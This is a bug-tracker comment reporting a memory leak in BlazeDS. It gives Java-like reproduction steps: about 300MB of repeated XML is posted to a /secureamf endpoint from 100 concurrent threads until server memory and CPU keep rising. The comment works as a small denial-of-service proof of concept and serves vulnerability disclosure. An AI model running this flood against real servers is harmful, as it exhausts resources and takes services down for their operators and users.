sunil kumar reddy commented on FLEX-35325:
------------------------------------------
1)Create a file(eg 300MB) with below data
String header="<root>"; String tail="</root>";String item="<item
id=\"hacker\"value=\"lxb123\"/>";
then start sending data continuously to server
HashMap<String,String> headerParam=new HashMap<String,String>();
headerParam.put("POST","/secureamf HTTP/1.1");
headerParam.put("Host","IP:port");
headParam.put("Content-Type","application/amf");
for(int i=0;i<100;i++)
{ new Thread(new executea(i,
"https://IP:port/secureamf",headParam,attackFile.getFileEntity(),true)).start();
}
CPU memory will increase continuously (because of blazeDS memory leak)
> [BLAZEDS]Memory Leak happening in BlazeDS, when data send repeatedly without
> endpoint
